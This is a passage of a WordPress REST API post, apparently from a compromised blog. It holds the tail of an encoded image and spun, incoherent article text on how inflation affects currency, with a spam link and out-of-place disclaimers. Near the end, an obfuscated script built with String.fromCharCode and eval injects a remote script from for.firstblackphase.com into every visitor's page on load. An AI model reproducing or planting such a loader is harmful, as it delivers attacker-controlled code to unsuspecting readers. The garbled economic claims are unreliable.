ZZY88hdqZA6xyRAnfku6EDotm88Vk7SHCDPODHEMZBn2dUuZzZpSfheKSn5+VIpJ5kCHnANwYyfLcY0dj7WZoO7alrd1QalJssEfGHA+8PlLR1GcnB7l9vR8OsWuOQrC9k3sg6P1jo3TnGTUmpM4Wvau+f0VJRNFHDH83qWVRJzo7PdornlK7Nb1xCfbSZX7TGs3UggtQ2Pn\/AAGnxI3Zk7JetdWQaH40Uur8sgymLNYcwNBJ3vetHTVhDrsOW7d01t7bi+I67an+U1rS\/wCfQf2Cnx1uiXJr7zrD8X48U6g4xHh\/xGe56xHXvCmYZrn3pwftlXd7PUtTVaH4fUMT8sUOnaB3uL3tArH7bDE45lmNBlNK1fmdbBSU0RvJNPIERR5ljsMV\/wCznnVFp\/g\/l2sM3LikyPSMVVOUW7COKAM1h58sZsMUkzTVHFXtc8X6HIqnNWafOKt0oKJ5WWjy6ABnYhB4JGrFmsXa3iSBjybTdou3LqV7Xq1RSoUnOL3ET3JwJHYSc4VJlA1nuJMALqHl2ttF6gmNJlGsMjr6l1ISClzCGVxt5KxN8L0xvCwU2LjlFz4nHLftBdk7VfZ6yXK9Vz6ppM4oKyrFGZqeFoJKeoKM6CxY3BCPZgdiu4FxexnZA4jat44cGNbcMtRZvNVZrlVC9BRZlVuXYw1kEqRiQ\/SYxsj+0bkqwH5OJNY2La2+lt1rTLsVrfkA48YLZIbPXMEiQQD3S1LYNZ4jHSEj9svtF8YOEfFPL9L6B1UuXZbNkVPWyRNQU8xaZp51ZuaSNm3CLte22Jq7POttU8UOzxlGr9ZZguYZxVy1PeziCOLmEdW6L7KKFFlUDYY53cd+Dee8D9YUuktQ53SZrU1OXRZgs1Nz8oR5JECnnANwYyfjiV+z52T9a6307pvjFlusMtpsshrjWGik77vStNUkMNhy3buzbfxx3Gu7X0Bu1bciuxkRFYU81DxdjGfe9Seisvo0xSaZ+8dU+u1Z2cuI\/EvXtFq3RQpMySShiopaSWsSB6YozHmBkIUoea+xvfm2xNfCPh7mPCzhrkWic0zWLMq2jgeSoeElouZ5XcpGWsSF5uUHa9r2HTFQO3CoXjJSqLkfgKl3PX+MlxYjgDn+WaR7JmnNWZq5jpcrps0qZWXqQldUHlA8Seg8yccvuGz1J+zNOD6wexzmBrAyHSWuiXcjMdBDRM5RUB8JqsE1ZTjJ5qqudYKYIRd3CKq23YnYAC\/jhKXiDoqemly\/J9YZPVVD+wkEOYxSvfpYKGv0vsBjm7qLXPFXtOcQaHTvzyWV8wn7nLcpSYpSUqAFieXYEqoZmkILEA+gD44j9iXXWgNIS6rpNS0OcSUULVFVRwwPFIqJu5jJJ57C5seUkA2F9sRn2b6dpvg22s6i2lcVYhgbIE4EmR3xJgTMEwk\/DtbAe6CVdGqPMWN+o2GB9M0Xz3MnDlDFBC8kiu1g4sQF+J+7FL+y\/wAfc\/g1DR8N9X5nNX5fmB7nLqiofmkpp7ErHzk3KN9EA3sxUCwJxr25KBqPWmlpnuGq8jMtiOg+cSgfYL\/HGfR9nN1T3CNCuqobyaXNeBIIHpI8oInHqIURtyanhkrpNNWZWMuasqqmmWhEfM8krKIgnmSdgPfhlU0ugtSV81JpjVGTz1Zl5ylFXxz3XlJuURjbe67W23xQnghwj4qdpnRFHomi1FDkGi9HPMDLIryLU1k8hlJMakd4wVlG5AUWtuxvH3GvgxrHs564pMnr84jlklhWvy3M6B3iLKGIuPyo3VhuL7bEHfG1bezTTq95U0p+oD8SJhoZ2HQnMSRBIBkesJW2reRZzyumNbmkujqCqzLUEhgoqGGWeWq5SyrHGpLHbxAB29Mc8eIvaH4w8dtaJkWlcyzPLqGvqvmuWZPl05gMgchV751I7xjsTzHlXewAvi6vZu1eO0L2ezl+t5ZK6eqhqsizeQuVaZlUKWutiGMMkLEgg8zMRbAGk+yzwm4ZamotaaX09VR1lJ3ohleull7osjRuGVmIOzEA22v54xdvXul7GuLxup0TUumEtZgFgInOSCORjIBIb06paVRtMkPGVRzXPCfj5wMpKXVWd1OYZZDVyCIVuXZqSY5iCeRzG3MrWB36G2xOLQ9jntDaj4pQZhoLXVWK3N8nplq6StYASVNNzBHElhYshMftdW599wSWv25+LWUDIqbhNl1XHVZjNPHW5iq2b5rGlyisfz3JDW6hRc\/SGCHYA4c5vT5nnXFSvpZYaCSjbKMvJH+EOZEeVlHWy92i36EswG6m3aazcjcGxn6trtFlOt\/1ZAgnI4xJJyJkTBaOXkVaceVPk7qrZ5ujVD97DTSckSnnfl5eYeQB3NsOnS1XFVZJTyQSAGAGNw3RCNgfcRa\/1+GCrQB0EkgF7dXO31f7sMfPaBstrSsEhaKQ84ttYj0+7Hz\/AEXA+6s6s3EhSrdKbmmuVhc3dSdo28T7vPw8fEnGTaI\/N3UGJxZbgWH6J\/V9XvI5PXisyymq3sY54wG38ejLv1sb\/D3YG5BSj5lID83ItGd\/Y9L+FvA\/uJ1XWpElBIWB5qVvpX3MZ\/Ov5ef1+eDPNzC4Ox8sBo55jBKfbUX\/AJy+f7R4fVgisb5XIUTnkppWuq9e7J\/JX08h+uwInJNzeB8sr6euidRTyg0xUn+LN+ZbemxHpc+HQ8HLR85Fwu\/QfRPl94x7OoFzPKJ0gAkbl549vylNx191vrwm5fUckETEN3MnKYyT05hflPnt0Pn69RCPd5yFrgkdTcWv62\/V+rBtPogjxF+t8Jsg3AvuD4Dr6\/HxwoxbxIf0R92MrVPhaoqvZKsFOKeIRKS1tyx6sT1J9cCjpjE89PSp3tTNHElwOZ2Ci56DfAHzuSW4paOWSxtzOO7X623t6gHGqnI0t8ayzQwIZZ5UjQdWdgAPjgD5vXSE99ViFSQQsC7geILNe\/wAxvFRUsT96sQMn57ks31m5wIWvzwyXFNTSy2NuYjkX33PUeoBxiUVndPJNUCJRYhYF5n912639FBwawBcz1Ij6xwEM3q\/gPgN\/iuFQsUeXwQL3rRhpnYyO7EuQx8idwB0+GDePY9hEL2PY9jBIG5OBC49cZP8fet\/9Lsy\/tkmL2\/KE\/4g4\/8Av6k\/qTYohxfbvePGtZFBAbVuYkAix\/wyTF7\/AJQnfgHHb\/p6k\/qTY+kNyZ1bQPr\/APWtWt8dP\/nyUGfJuUsb8UNUVh+nFkHdr7mqIif6gxZjtuFv\/ho1cqgEE0Ba\/kK6D9dsVq+Tfcx8RNWWjdmOSoAAPHv16+A+OLH9tSFn7OOs5ppCTHHl4VFPsrfMIL+87D9mOU3SZ9oVvJ6Pofu1Q1T\/AK0Psqw\/Jyc54x6gVH5b6ZmubXI\/hVN0wF8o1GsfG3Iwt99LUxJJuSfndXgb5OH\/ABzZ\/wD6Mzf2qmwH8o6D\/wAd2R\/6K039rq8dgD\/vH\/8AB\/8AZT\/9q+ytb2Lf8mfRv8yt\/ts+KK9tT\/Ka1p\/PoP7BT4vV2Lf8mfRv8yt\/ts+KX9u7SOd5F2gM31HXULrluooaWooKjlJSTuqeKGRebpzK8ZuOoDKfEY57Y1RjN937XGC41QPU+IDA+wJ+yityPxDvv+6t52dM5ynR\/Z5odbagn7rLMryCnqapgLt3cUHOQB4k32HibD31m1F2xu0Nxl1tTaV4PUv4FFbO0VBQ0NPFNVTDc80ssoIWygkleRVFySQObDq7Omeap4+9nbiFwPjpKOCbJcqo48rmiYo9RIS7JHIWblAJpkW+wsxJxWvhtrnVvZ54qU+pJNPBc3yR5aery3MY3iPK6FHRujI1muD52NiNjobc2vb07zU3V6TKt4xzixjiC2HDk0x094mCSMR2TqVFvJ8iXeSkftBaH7Ven9D0mcccdTVNbkk2ZRRRUsuapUBKoxyFG5E2B5RILjzt44lT5M7\/AA7iEP8Aqss++pxF\/HzjpxK7SmjpNQnSUWRaL0tWxc6RzPN3tbMCic0pVVdlXmsFUcofe\/MMSX8mhURrnGvqRmtJJTZfIo8SFacH6iy\/Xi\/r7bsbHumXzGMqgjkymAGt99hAMEiYgnPcJ9Tl+HIdE+n1TK+URZW455dy+Gm6YH\/6mpxaTsQ2k7MunYtrFswH11c+K7\/KJ6Kz2PXGQ8QlopXyarytctaoVCViqEmll5HIFl5kmHLfryP5HBfsh9qvM9Fx5BwSrdJ09fRZhmggpswFYYXpUnku\/MnIwkszMRuvW2MjUNMuNf2BaM08B5pw52QIDQ4O69xPRRuYals3j2TL7bzB+MlMRufwHS3J6k95L1xKVNG\/\/JyNJAl5eWSxHUJ+GiH\/ANkn6ziLu3AFHGSmCWt+A6W1h\/1kuLNdmnI8n1h2Rsq0fnil6XNaTNKRwv0rNWVFmHkQTcHzAwzVb5mm7Q0W8qCW06tFx+gDyVM4xTafUKsnYfloIeNTNViPvvwPVfNS4uRLzR35fXu+8+F8X41HJSz5BVyVw\/g8UTmUsthyFSDf0xzV1HoziV2beINJnYgZHy6qL5dmixFqWrUgjlv0BZCwZCeYAn0OH9xB7bGsta6Kn0jlumKHJJMxpjS5hWxVUkrSI1uYRKwHdXsRuXNibEHfC7y2debx1W31XSHtfQe1oLuQ92CSTHU4PQSZmQEVaRquDm9FCHD8TnXumxScxmOb0Yit15u+S1vjbFiflBpWPEPSlJLHyS0enlgcDoeWeUAg+RFj9nhgv2UOz\/n8+rst4jayyuagy+glSbLqeoj5JKmY25ZOQi4RQeYHa55SLgHCn8o2qjinprlG5yEE\/wD1EuOlq6zaalve2trVwd4VOoHEZEkdJ9Iz6mOoKC8OrtA7Aqe+wVl9PlfA7LKuFVX8NVtdLMfzpo5Sg+PIv+xiIvlLVUak0K4G5oa0E+6SL9uJn7FYaPsx5BVooL0lfWz7+Ciqk5\/9gtiGflLPa1DoRl3Boq7cf9pFjhdvuLvaNVJP89b9nKtT\/wClH6lSB8nfzJwOzuoW14NV1Ehv+b8zpQ3+zf4gYsTr+rzjJtHakzPTdAa7M4MsqK2gpljaYzzpEbRhF3PMeQADclsV5+TinH\/E9n9My2\/\/ABLO4P538FpQR8NvrGJg4+6m1horgzqfUuhYS+eZHTc1Oxi5zHEWVXlAOzd3E5fcEXj3BF8cnuiibrd9ag0A8qoGTAMkDJ7Dz9FBWE1yB5qhXBjgLq\/iLxYFVxh03qKlywO+YZnNX001O1ZJzC0RkcAjmZrtY35VaxBsR0Oy6HLsmoaXJckoYaalplWGKmpIgqQoBYKABZR08sUg7J3F7irrLibU5JqXP8wzzLKmjkmq5KomT5qwK924e3sAsQlunt9NsXko5l5AkkxuuwVfhv8AH1xY9ql1qbtVZZ37mhrGDi1hPEA94MQft0jsrddzphyH5JbHnKxsehc3sfr\/AF4S8zyeOqp5TJNPPOw2ZtlS3QgbbfWcKcvOGU88cagG7SNv12xhpoo4xEXkmsLHlXrv59OvrjzEe7kKAmcInoKrU09Rp+qcCVHM0Qvv5MAfT9Zw5BZh8yqCFffkO19vLa23u6HpbDDzVpsurYs1y9BC8bg8t7n0Nh5jY74e1NW0+d5bFmVOShYAsAblGH3kH6wfUYttdyEqs5vEra7KBC5IdDZHO9j4KfMHwPw6jG90qYmWRLfkup6g\/v4+441LmeNueICeP2ZEvsw9PMHqD\/fgu0zQujgkhhYG28ijw\/nDr6gH4OQscs0MjKhBlAuQdhMvn6MOnl9YshZaqRfPcvZHKxTkhDHayNuB6eV9+gw4JytRGOR7HZ0ceBtsR9f1HDezTvDmME6ju5WQwuPyeYbgnxIKhre734EIwsxikFPMeYkERuT9MevqB9m\/nhYh\/iY\/5o8b+GEMmOsRoJAVcWJ8SpHRgfK3j6e8YW4AywRq5uwQXPntjK1T4W\/dRVeyV4KKkgbvI4R3h2MjEs597G5wZBuMBjG4NsaqctsY5RjOPYEIGol+bxGSwY7Kq3tzMdgL+pxiCIwxhC3M25ZvNj1ONVJqKstb8XT7Df6Tkb\/UNvifLBnCoWATjOMWtjOEQvYBqfaQQ7\/jjybeVt\/sBwNgk1SHrXSBO9khTlChrAE7nmPh+T67mw64EIWWloFDTTU0AtdmZkH1k41lQ1y8jRBYb7mRAWPXoD095+rxwItPdxLUP3rqbrtZV9w8\/X\/dgbD+bvNCApqKjowfmtLFFfqVUAn3nxx6OOOdJDLCCsjklXFwbbA\/EAHAkr91E8n5qk49EhjiSMsW5VC3PjYYQucTJKFrFTU0Lc0NPFGxFrqgBtgOtp6SWNmqaeKQsBGCyAnc2A+s4M4LVcntRU6C7yuLeS2ubn6unj9oA50zOUq2sFtTUwVAPpELsg9B5\/d19C3OI8NC+lJaSrpYZo5ZEjVJUDi979D6A4dCII15QSfUm5Jw0uI1TFHRUlLIR+NlLHa+wH9+APLTyByhHtCZTQZTpmiSioaem7yLnYRRKl7kkXsN+uDGfaY0xnrwzZ7pvKszkja0ZrKSOYqbbWLKbb2wdyaNocooon5uZYIwebqDyjbAr\/jalL25Ym2\/nFT9w+84e2tUa\/xA4g+c5\/VErWny6hpaRKGCkhSCMWEaxgIPco2GMLTU9PE\/zeKOJnJXmVQDu1h9+DWAEPM6J5M7H4Ej9eG83GZKFmWmp6mOSnqYI5o32ZJFDKRbxB64bFXozR+V0OZVmWaUyejnETt3sFBFG4HLvZlUHwOHUA3fMT0KKB77m\/3jBSvWE0FUlTKkaSRSIzMbAAkj9eHMrVGNLWuIB8igEhR9BDBURrKaaNyw5AWUEgDra49f3vhYpcuSGOMRckSL15V+7ywm0xaJ3iaMytESoHUXHj6+\/C1ArSsxsq2AKlt9vG4xnvc74SVcHSUzsxhp46iopJYUki52BR1BUi\/Sx64S8lyzS+X5nFV5dpHJ6SUzAtPFRRK4UmxsVUG++F\/UFK0dY5Nva9rZeXw32+GE6GAHlMfnff8AVi1SrvptLWuIB65KjcXdAvSSmkrQqEn5vKRY7kAH+7ErVdLTVB55YI5brYFlB2+PwxFGfxyxZh85YcpnRZbeG4xImls8gzrKo1UOk9KipKCDa4FuYHxva\/73w5pLRIULzJW1J3eUVBozEFoKs8vKBZI5W+5Wv\/S\/nYPZdFFPRpBVRRyyUpanPMoY+zsDv5ryn44xWQJUQtE6c6OpUj0wSyKqlTMqnL6hizmNZBIf85y+zc+tuUH1UnxwvIzIOU0ZQ4gjoKueaCIKFnSVlQAfi3QIxPoCnMf5uDlXDG0oEi3jqUNPJv7yv3sP9YY0miR8yeGVbx1VKUYX6hW6f7Zx6ISVeXGKRgJ0uhZhe0iHZre8BvqwhJJkoSNRab0\/luWSw5fkdBQI7kVQp6ZYhISbc7cgBJB2ud7g4Tp0ky+uam52WFtwx2IX3+Y6fA4cccsTyF3BEdQoEikW5Q9xy38w4I974R8+pmloBM4vLSMUex3IuAfhujf65wyuXVpc4yVJTfBygI2jkLMge7E+0wO9\/U48VEdmkewv1J\/WfTBGOq5YGlueZRZYx1Pl6nAqSyTRqzQsGJ6k22+04pZVsItX0cLczOXkJ8Wba3oOn1YB0rnByPNGoaiQClqWAJJ2VvBv1H+7AtTFEyn5xVd2NyeU7262wj5nTUxhBgDmQblmvuPedvqxPSdBgqKq2QpInVoH5oxdtwgvbmHUp+sfHw6k5JInTvL3hlO\/hyG\/XzG\/XyPxwn6VzoZvlhoqmS9TTALe+7L4N7x0Pw88Dy89NK8ri8chtOltlY\/lgeR8f23xYVYLyytSzGKU3RzcN03J\/WTv6+\/Ytn0CS0nznpJTWlUg9eU3IPvF8DtGsgNLNcgi6N4ke\/zH2j440glZWagqfpqLqfCRPj9owJUnxyR1ccc0chDDeNitmB93l12\/uw4qe\/zeLmtfkW9ul7YalOHpFcOzMIHMUotclV+if6PL8Pdh10xDU8TK3MCikHz2xlap8LfuoqvZLoONsBrfGwv4Y1U5bg2wFUztDF+LHNI55IwehY9L+nifQHAmC0X8JqnmI\/FwXjT1b8pvh9Hz2bzw4IRiCJYIliUk8vUnqT4k+pO+BMag2xkG+EIQs40lljgTvJXCr038T5DzOAXqy7mGjQSupszXsiH1PifQb+duuMxUgVxPO\/fTdOciwX0UeA+0+JOBCDleaZGkctTU6gkk7SMB\/VH2+7AlDTLTU4URJG7kySBd\/bY3O\/jv4+mM1BDvFT3F3bmI\/RXc\/bYfHA+BC9j2PY9hEIGpKERxNe8kgAt6e19ynA2AiS1UFFuVIyT7ydvuONpZVhXma5J2VR1Y+QwIWJZe7AVV5pG2VfP1PkMBrEFmj5253szlvM9PqsbY3hiZSZZbGV\/pW6AeAHpjwBNSzHosYC\/Em\/3DCgoQuGBr4Cs1FlWXMfZYKCP5z2\/Vh\/4jLOaj55xChCtzLFVQRC3hylb\/AG3wBKpKlfu4yVAJ6KPM+GNQndiJL3sxuT4mxuceF5JyfyYth13Y9fqH3nGzn2k\/nfqOBIt8F4DzVFQQxIVwlvAbAn7\/ALMGMAUikI7sLGRucjyuBtgQhCSJVXwKk\/UR+3DN1hVy5pVUGmqNystUQ81vyVO+\/wALn4DDqzOtgy2kkzCoNlgRifM7dB6kgYamhaCeuqKjVNdvJM5jiv4L0Yj7APccKEIhlkXcr82QnlXb3WP9+FyHZT7YF+pFuY+RwkTvDHm1XDGhPLUOLHy5j0weSaxuqlSBsCbD3YoOwVcEkJJ1QvLLHM1wzKQL+hv+vCJE7tG3tlPC6n1wt6kE3cRTtYEPa46nY9cIMRDMbAi4G2JWGWppwVtm0MxhhqLs8NuQMegbf2ffa2Hhw3rDNldVl7Nc08gdQfBWHT6wfrw2KyulXKDRRhRCZbsCBcsR1HlYrg1oGtNJn6wEXWrjaP3Ee0P6tvjidpMKF4ypCcEHbx8\/3\/e+EjOzUQLT11CQstNKpuenKbBgduljvhZnQBjsDfz\/AH931YKVMS1FPLA3SRShFvP974VMCyKyOsfL61AVBkeJ1bYoSpup9eZQMDJ\/B8xdNglUneD+etg31ry\/UcN4PLHDFVbKoeM1IJ6NG27+\/wBkg+Yt5DC\/mZ5KcVi2vSsJr2v7A+n\/ALJa3rbAgoGdO7rDA7uscpPKwNuUP1t6hwp\/18emjFTG3eq9qmMpIqgfTUENb1K8wv8AorjbNkJphUxOqvCeYOTsFPj7gbN\/q4DeRpYzJTqC06CphW5F5FAut\/C45R\/SwITJMdXl9dLC8q8oJS59ejW+o4NLzMD3tVIxBtYHl+7BrUtPEwTMKYgqVVgATcxnobHYW6fDCTFWzMFSniTm8WY7fZirUaQcK2xwIlGTzRs3LEu+9ybketzgpUwrKT3kgXmHQYxOXD3qaiQG3NZNsAo0RlLlWZCLNzEki3nhoCJ7IpDWSZJmqVtE\/OFPti+zA9VOJAaaGvpY62lHeRype35y+II8\/wBYthiV0SSQ2VOQe8AfAYUNF513Exyipb8XKbxE+D+Xx+\/34tMPJqruEFLyhUIpmf2Nmgfy\/e9vs2uBgHMKyBIQZon7+P2gEsTGw8fcb\/EHB2qh+lHy2Vzdb9A3lt4H7\/W2G\/XtMlZzyruVAB\/PA2IP6Q9Oo3HXASQMICIVGeVBqpZIoViMoXmAJNyvQ\/EW+zD3oGLUNO5tdokO3uGI\/wA0hSMioQXU7j9YP7\/fh\/5cb5fSnzhQ\/wCyMZmpmWMPqVDVwl5WGBFOEjvZf5Rvrx4TTD\/Ov\/SOD80Z8pSeIEo1czxxhITaaU8kfTYnxsethc\/DAkMKwRJDGCFQWGEkySFg5kYsLgEncedvqxt38\/8ALP8A0jhfzVnylHiBKU9TDTgGV7FjZVAJZj5ADc4BEdVVgNU3p4juIlb2z\/OYdPcPrN7YIczd533Me8ty8197eV8b9\/P\/ACz\/ANI4PzZnylJ4gSvGscMaxRIERRZVUWAHoMbXvhG7+f8Aln\/pHHu\/n\/ln\/pHB+asP8pR4gSnCe8nlm5iVB7tRbbbqfrNv9XA+EQTTDYSsPHY4z84n\/ln\/AKRwfmrPlS+IEtY9hF+cT\/yz\/wBI4984n\/ln\/pHCfmjPlKPECUVdI2qKl3uoblB923KPM83N8TjMSSljPOCHbZVvfkHl7\/P+7CWHcWsx9klh6E9T79z9eNu\/n\/ln\/pHC\/mrPlKPESvv4YDiEgkmZjcM45fdyj9d8Jnfz\/wAs\/wDSOMd9MOkrj\/WOE\/NGfKUeIEtX88RVkimbWTyghnSodx+k3Pb7z1w\/O\/m6d8\/9I4Kw0dHTy\/OIKSGOXf20jAbf1GFGqsH8pR4gThjTu4wgNz1J8z1J+vGr35kv+d+o4Su\/n\/ln\/pHGO+m\/lX2\/SOD81Z8pR4gSpU+1EYyT+Msm3Wx2J+HXGyN7ToPA3t6WwkmaYkEyubdPaOPd9LcnvXuep5jhPzRnylHiBJOvqkVcVPkkE4WaaVbp5kmy38hc3w56SjgyzLoqODaOmRVB8wOpP2nCO1NTPMKlqeJpgeYSFAWv5364MGeYggyuQdvpHC\/mrflR4iaebMabP61fZAEvMbi9gd\/14Go6oyhyRdSb852B28PqwvPTU8kjTSQRvI30mZQSfefHHhT04FhBGAf0Riu\/UWE\/Cpm3IaIhN\/OYxPQOyiP2BzAW8B4XthpLIRIrKSPQnEmmlpipU08ZBFrFR0wEMryz\/o6m\/wDKX9mHM1JrR8KR1wHHATAYM9LKJCGYrdbeBBBP2XwVoa1qKsgqVF2p5VkG9r2N7YkoZblyk8tBTi9x\/FL0+rGv4Jyv\/o2l\/wDJX9mJG6oyPhKa6sCeiXpiksKzIeZCAwI8VP7\/AFXwgZzX1lOWEBRSFutxe5\/3j7cHVkkRBGrsqgcoUGwA8satFHKPxqK9\/wA4X8b4DqjflKYKgTZhq6mcSJJNzrUKWZeUAAsOUm3hvY\/H1w4MjrAkMWXzNzRyRh4GJvdSLlD7vD09xxutFRr9GliW3kgGM91EFRBGoVDdRYeyfMYBqrflSmoEYoXBpXopSHNMTTtzD6S29m\/ndSt\/jgjl8kiUk1M12my6c2A3Z169P0lYgYMgkMWU2LWuRte2MBVV2lVQHewZgNzbpc4X80Z8qPEHkicyRtDPSN7UaMZFHUGKTfZfGxv+rDNlikoKqSFywCGxN7G3gfuw++5hG4iT6Hd\/RH0fzfd6Y1ajpHbmkpYWa1rsgJw1+psP8pTm1g3smOs5luEgZmH5ZBb7TjQtWy25mVAdtzv9Qw+xR0Y6UsI\/8MYx8yoz1pIDvfeMYj\/MWfKn\/iB5JgfNBbllnY2NttsE6yBaaQSQEjlPW\/j54ko0FC2zUUBv\/wBWMYOW5cRynL6Yjy7pf2Ye3U2g9Ew1geyIZLmced5YJHsZU9iYfpefx6\/7sF8wphPE0bkK6WLMPC3Rx8Nj6XHgMLMFHSUxY01LDEW68iBb\/VgQwxE8xjUm1rkYcdTZ8pTfFTDlUDvKadeUE8pH5rfsOHtlylcupVbqIUB\/ojGxy+gcEvRQNtbeMdB4YGACgKoAAFgB4YpXV0LgBoEQmvqcui\/\/2Q==\" width=\"300px\" alt=\"how does inflation affect currency\"\/><\/p>\n<p>Moreover, if a government is not able to service its deficit through domestic means , then it must increase the supply of securities for sale to foreigners, thereby lowering their prices. Finally, a large debt may prove worrisome to foreigners if they believe the country risks defaulting on its obligations. Another factor here are &#8216;visitor-weighted exchange rates&#8217;, which measure a destination&#8217;s currency market with those of its primary visitor market.<\/p>\n<h2 id=\"toc-4\">How Can Inflation Be Controlled?<\/h2>\n<p>In particular, it implies that the U.S. inflation rate is relatively immune to the monetary policy of the rest of the world. If Turkey tightens its monetary policy, this will affect the exchange rate between the U.S. and Turkey, but will not have much effect on U.S. inflation. However, if the U.S. tightens monetary policy, the resulting appreciation of the dollar will tend to inflate prices in Turkey, as 60 percent of Turkish imports are denominated in dollars. Current exchange rates stay static in the face of expected future inflation.<\/p>\n<ul>\n<li>These days, some currency rates are jumping to all-time highs while others plunge to record lows.<\/li>\n<li>Opinion and estimates offered constitute our judgment and are subject to change without notice, as are statements of financial market trends, which are based on current market conditions.<\/li>\n<li>Requires both an active Acorns Spend account and an Acorns Investment account in good standing.Instant Round-ups are accrued instantly for investment during the next trading window.<\/li>\n<li>In the present commodity price indices are weighted by the relative importance of the components to the &#8220;all in&#8221; cost of an employee.<\/li>\n<li>For example, in the early 1980s, when the federal funds rate exceeded 15%, the quantity of Federal Reserve dollars fell 8.1%, from US$8.6 trillion down to $7.9 trillion.<\/li>\n<li>In the stock markets, investors aiming for a higher return to beat the inflation rates choose to invest in riskier assets like equity instruments.<\/li>\n<\/ul>\n<p>Instead, the country legislates an automatic exchange rate intervention mechanism that forces the fixed exchange rate to be maintained. One effective way to reduce or eliminate this inflationary tendency is to fix one\u2019s currency. A fixed exchange rate acts as a constraint that prevents the domestic money supply from rising too rapidly. Higher interest rates offer lenders in an economy a higher return relative <a href=\"http:\/\/franchise.mychickenshop.co.uk\/this-22-bundle-can-teach-you-how-to-analyze-the\/\">shooting star candle pattern<\/a> to other countries. Therefore, higher interest rates attract foreign capital and cause the exchange rate to rise. The impact of higher interest rates is mitigated, however, if inflation in the country is much higher than in others, or if additional factors serve to drive the currency down. At one point in time, a country\u2019s interest rates may be the overriding factor in determining the demand for a currency.<\/p>\n<h2 id=\"toc-5\">Historical Inflationary Periods<\/h2>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Table of Contents What Impacts Inflation? Popular Currency Profiles Government Debt Central Bank Rates How Can Inflation Be Controlled? Historical Inflationary Periods For instance, an increase in the price of&hellip; <\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/posts\/25017"}],"collection":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=25017"}],"version-history":[{"count":0,"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/posts\/25017\/revisions"}],"wp:attachment":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=25017"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=25017"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=25017"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}